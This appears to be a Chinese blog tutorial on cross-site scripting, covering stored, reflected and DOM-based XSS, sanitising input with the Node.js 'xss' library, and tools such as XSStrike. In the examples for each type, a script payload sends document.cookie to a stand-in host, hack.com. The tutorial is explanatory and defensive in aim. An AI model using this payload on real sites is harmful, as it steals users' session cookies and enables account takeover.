一、XSS 是什么?

跨站脚本攻击(Cross-site scripting,XSS)是攻击者向网站注入恶意脚本,等待用户访问网站并自动运行恶意脚本发起攻击的过程。不同的脚本可以实现不同目的:

  • 盗用cookie,获取敏感信息。
  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DoS攻击的效果。

二、XSS 分为3类
1、存储型(持久型)

攻击者把恶意脚本注入服务器并存储起来,等待受害者请求此脚本并在浏览器中自动运行。

  • 使用场景:攻击者在评论区提交带有恶意脚本的评论,如果服务器检查不出恶意脚本,那么此恶意评论会被存入服务器数据库,下一个用户访问时,评论会被自动获取并展示,其中恶意脚本也被自动运行了。

    // 在评论区,直接把下面的内容提交,如果服务器不做检查,下面内容就被存入服务器数据库
    <script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
    

2、反射型(非持久型)

通过用户点击恶意链接,获取用户已登录的会话cookie。

http://www.example.com/transfer?s=<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>

3、DOM 型

在用户浏览的页面中直接注入代码。

  • 实例:HTML中有个锚的功能,也就是通过 #id 来实现当页面的跳转。

    # 下面链接表示打开页面,并把 id 为 doc 这个元素滚到页面最上面
    http://www.example.com/#doc# 把 doc 换成 脚本,再访问此页面,意味着脚本会被自动执行
    http://www.example.com/#<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script># 备注:此实例只是解释说明用,目前浏览器早就屏蔽了这样的漏洞。
    

三、怎么防止 XSS 攻击?

XSS 来源于用户提供的内容,只要过滤掉其中的恶意代码即可,Node.js 项目中推荐使用 xss 库来完成这个工作。

// 1、安装
npm install xss// 2、使用
var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);
  • xss - 官网

四、xss 相关工具
  • xsshunter - 记录XSS攻击者的ip等详细信息

  • XSStrike - 扫描网站的 XSS 漏洞


五、参考文档
  • 怎么防止跨站脚本攻击(XSS)?

怎么防止跨站脚本攻击(XSS)?相关推荐

  1. 跨站脚本攻击XSS:为什么cookie中有httpOnly属性

    跨站脚本攻击XSS:为什么cookie中有httpOnly属性 通过上篇文章的介绍,我们知道了同源策略可以隔离各个站点之间的 DOM 交互.页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是 ...

  2. 跨站脚本攻击—XSS

    XSS 介绍 XSS 是跨站脚本攻击(Cross Site Scripting)的简写,但是从首写字母命名的方式来看,应该取名 CSS,但这样就和层叠样式表(Cascading Style Sheet ...

  3. 「第三章」跨站脚本攻击(XSS)

    批注[--] 表示他人.自己.网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL ...

  4. 跨站脚本攻击(XSS)FAQ

    原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...

  5. [Web安全之实战] 跨站脚本攻击XSS

    文章Points: 1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了. ...

  6. 跨站脚本攻击XSS(最全最细致的靶场实战)

    一.XSS跨站漏洞 (1)XSS简介   网站中包含大量的动态内容以提高用户体验,比过去要复杂得多.所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容.动态站点会受到一种名为&qu ...

  7. 跨站请求伪造(CSRF)+ 跨站脚本攻击(XSS)

    一.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 X ...

  8. 跨站脚本攻击(XSS)详解

    XSS简介 XSS(Cross Site Script)攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. 一开始, ...

  9. 网站安全系列:跨站脚本攻击XSS

    本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...

  10. 跨站脚本攻击 XSS原理

    个人对XSS攻击的笔记 原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加 ...

最新文章

  1. 从Matrix到这个idea
  2. c语言 long和short区别,5分钟读懂Android 中的toast short 和long的区别
  3. aix 查看目前java进程_问一个 AIX 的命令 ps -ef|grep java
  4. 成功解决 AttributeError: module 'tensorflow' has no attribute 'sub'
  5. scala创建并使用Enumerations
  6. Swing中的一些对话框
  7. 消息提示框-事件冒泡
  8. uuid java 重复_Java中使用UUID工具类生成唯一标志防止重复
  9. Python中的lamda表达式
  10. 西门子 Process Simulate学习笔记(一)
  11. 各纬度气候分布图_世界气候类型分布图高清版(世界气候分布高清地图)V1.0 免费版...
  12. 2020-12-30
  13. RGB888转换为RGB565格式
  14. 卫星导航信号结构变化的过去,现在和未来
  15. 解决微信小程序点击出现蓝色背景色问题
  16. N63043-郝子轩-第二周
  17. Web.config配置错误页
  18. Ext4.2 Gird
  19. 使用MobaXterm发布前端代码到服务器
  20. Authentication和Authrization(下)

热门文章

  1. 你也可以成为VTuber
  2. Doxygen文档生成工具
  3. 人类与计算机之间的围棋,柯洁:计算机说人类围棋全错?要尽我所有智慧终极一战...
  4. Foresight AI 创始人袁昌:搭建3D视觉数据平台,助推自动驾驶商业化
  5. Implicit 3D Orientation Learning for 6D Object Detection from RGB Images
  6. java 计算百分比值
  7. 应用回归分析(知识点整理)(二)
  8. php简历模板技能专长,php简历技能怎么写
  9. check-蓝鲸CTF hta,VMP
  10. 跟着黑马视频,Tomcat显示404的问题